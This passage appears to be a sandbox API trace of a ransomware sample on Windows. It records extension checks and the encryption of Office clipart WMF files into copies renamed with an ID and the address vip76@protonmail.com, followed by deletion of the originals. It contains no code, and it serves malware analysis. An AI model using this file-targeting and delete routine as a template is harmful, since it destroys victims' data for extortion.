	[0167.880] lstrlenW (lpString=".bz2") returned 4
	[0167.880] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.880] lstrlenW (lpString=".7z") returned 3
	[0167.880] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.880] lstrlenW (lpString=".dbf") returned 4
	[0167.880] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.880] lstrlenW (lpString=".1cd") returned 4
	[0167.880] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.880] lstrlenW (lpString=".jpg") returned 4
	[0167.880] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.880] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0167.880] lstrlenW (lpString="correct.avi") returned 11
	[0167.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.881] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=180172) returned 1
	[0167.881] CloseHandle (hObject=0x474) returned 1
	[0167.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0167.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.886] lstrlenW (lpString=".doc") returned 4
	[0167.886] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString=".docx") returned 5
	[0167.886] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0167.886] lstrlenW (lpString=".pdf") returned 4
	[0167.886] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString=".xls") returned 4
	[0167.886] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString=".xlsx") returned 5
	[0167.886] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0167.886] lstrlenW (lpString=".ppt") returned 4
	[0167.886] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.886] lstrlenW (lpString=".zip") returned 4
	[0167.886] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString=".rar") returned 4
	[0167.886] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString=".bz2") returned 4
	[0167.886] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString=".7z") returned 3
	[0167.886] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.886] lstrlenW (lpString=".dbf") returned 4
	[0167.886] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.886] lstrlenW (lpString=".1cd") returned 4
	[0167.886] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.887] lstrlenW (lpString=".jpg") returned 4
	[0167.887] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.887] lstrlenW (lpString=".doc") returned 4
	[0167.887] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString=".docx") returned 5
	[0167.887] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0167.887] lstrlenW (lpString=".pdf") returned 4
	[0167.887] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString=".xls") returned 4
	[0167.887] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString=".xlsx") returned 5
	[0167.887] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0167.887] lstrlenW (lpString=".ppt") returned 4
	[0167.887] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.887] lstrlenW (lpString=".zip") returned 4
	[0167.887] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString=".rar") returned 4
	[0167.887] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString=".bz2") returned 4
	[0167.887] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.887] lstrlenW (lpString=".7z") returned 3
	[0167.887] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.887] lstrlenW (lpString=".dbf") returned 4
	[0167.888] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.888] lstrlenW (lpString=".1cd") returned 4
	[0167.888] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.888] lstrlenW (lpString=".jpg") returned 4
	[0167.888] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.888] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0167.888] lstrlenW (lpString="delete.avi") returned 10
	[0167.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.907] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=208408) returned 1
	[0167.907] CloseHandle (hObject=0x474) returned 1
	[0167.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0167.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.907] lstrlenW (lpString=".doc") returned 4
	[0167.907] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.907] lstrlenW (lpString=".docx") returned 5
	[0167.907] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0167.908] lstrlenW (lpString=".pdf") returned 4
	[0167.908] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString=".xls") returned 4
	[0167.908] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString=".xlsx") returned 5
	[0167.908] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0167.908] lstrlenW (lpString=".ppt") returned 4
	[0167.908] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.908] lstrlenW (lpString=".zip") returned 4
	[0167.908] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString=".rar") returned 4
	[0167.908] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString=".bz2") returned 4
	[0167.908] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString=".7z") returned 3
	[0167.908] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.908] lstrlenW (lpString=".dbf") returned 4
	[0167.908] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.908] lstrlenW (lpString=".1cd") returned 4
	[0167.908] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.908] lstrlenW (lpString=".jpg") returned 4
	[0167.908] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.908] lstrlenW (lpString=".doc") returned 4
	[0167.909] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString=".docx") returned 5
	[0167.909] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0167.909] lstrlenW (lpString=".pdf") returned 4
	[0167.909] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString=".xls") returned 4
	[0167.909] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString=".xlsx") returned 5
	[0167.909] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0167.909] lstrlenW (lpString=".ppt") returned 4
	[0167.909] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.909] lstrlenW (lpString=".zip") returned 4
	[0167.909] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString=".rar") returned 4
	[0167.909] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString=".bz2") returned 4
	[0167.909] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString=".7z") returned 3
	[0167.909] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.909] lstrlenW (lpString=".dbf") returned 4
	[0167.909] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0167.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.909] lstrlenW (lpString=".1cd") returned 4
	[0167.909] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.909] lstrlenW (lpString=".jpg") returned 4
	[0167.909] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0167.910] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0167.910] lstrlenW (lpString="join.avi") returned 8
	[0167.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.910] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=199994) returned 1
	[0167.910] CloseHandle (hObject=0x474) returned 1
	[0167.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0167.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0167.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0167.911] lstrlenW (lpString=".doc") returned 4
	[0167.911] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0167.911] lstrlenW (lpString=".docx") returned 5
	[0167.911] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0167.911] lstrlenW (lpString=".pdf") returned 4
	[0167.911] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0167.911] lstrlenW (lpString=".xls") returned 4
	[0167.911] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0167.911] lstrlenW (lpString=".xlsx") returned 5
	[0167.911] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0167.911] lstrlenW (lpString=".ppt") returned 4
	[0167.911] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0167.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0167.911] lstrlenW (lpString=".zip") returned 4
	[0167.911] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0167.911] lstrlenW (lpString=".rar") returned 4
	[0167.911] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0167.911] lstrlenW (lpString=".bz2") returned 4
	[0167.911] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0167.911] lstrlenW (lpString=".7z") returned 3
	[0167.911] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0167.911] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0170.307] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2108) returned 1
	[0170.307] CloseHandle (hObject=0x47c) returned 1
	[0170.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220
	[0170.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0171.409] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.410] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0171.820] GetLastError () returned 0x0
	[0171.820] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x83c, lpOverlapped=0x0) returned 1
	[0171.838] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x840, lpOverlapped=0x0) returned 1
	[0171.839] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.839] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.839] SetEndOfFile (hFile=0x584) returned 1
	[0171.839] CloseHandle (hObject=0x584) returned 1
	[0171.840] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.840] SetEndOfFile (hFile=0x47c) returned 1
	[0171.842] CloseHandle (hObject=0x47c) returned 1
	[0171.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1
	[0171.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.844] lstrlenW (lpString=".doc") returned 4
	[0171.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.844] lstrlenW (lpString=".docx") returned 5
	[0171.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.844] lstrlenW (lpString=".pdf") returned 4
	[0171.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.844] lstrlenW (lpString=".xls") returned 4
	[0171.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.844] lstrlenW (lpString=".xlsx") returned 5
	[0171.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.844] lstrlenW (lpString=".ppt") returned 4
	[0171.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.844] lstrlenW (lpString=".zip") returned 4
	[0171.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.844] lstrlenW (lpString=".rar") returned 4
	[0171.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.844] lstrlenW (lpString=".bz2") returned 4
	[0171.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.844] lstrlenW (lpString=".7z") returned 3
	[0171.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.844] lstrlenW (lpString=".dbf") returned 4
	[0171.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.845] lstrlenW (lpString=".1cd") returned 4
	[0171.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.845] lstrlenW (lpString=".jpg") returned 4
	[0171.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.845] lstrlenW (lpString=".doc") returned 4
	[0171.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.845] lstrlenW (lpString=".docx") returned 5
	[0171.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.845] lstrlenW (lpString=".pdf") returned 4
	[0171.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.845] lstrlenW (lpString=".xls") returned 4
	[0171.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.845] lstrlenW (lpString=".xlsx") returned 5
	[0171.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.845] lstrlenW (lpString=".ppt") returned 4
	[0171.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.846] lstrlenW (lpString=".zip") returned 4
	[0171.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.846] lstrlenW (lpString=".rar") returned 4
	[0171.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.846] lstrlenW (lpString=".bz2") returned 4
	[0171.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.846] lstrlenW (lpString=".7z") returned 3
	[0171.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.846] lstrlenW (lpString=".dbf") returned 4
	[0171.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.846] lstrlenW (lpString=".1cd") returned 4
	[0171.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0171.846] lstrlenW (lpString=".jpg") returned 4
	[0171.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.846] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.846] lstrlenW (lpString="FD01196_.WMF") returned 12
	[0171.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0171.848] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2332) returned 1
	[0171.848] CloseHandle (hObject=0x47c) returned 1
	[0171.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220
	[0171.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0171.849] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.849] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0171.850] GetLastError () returned 0x0
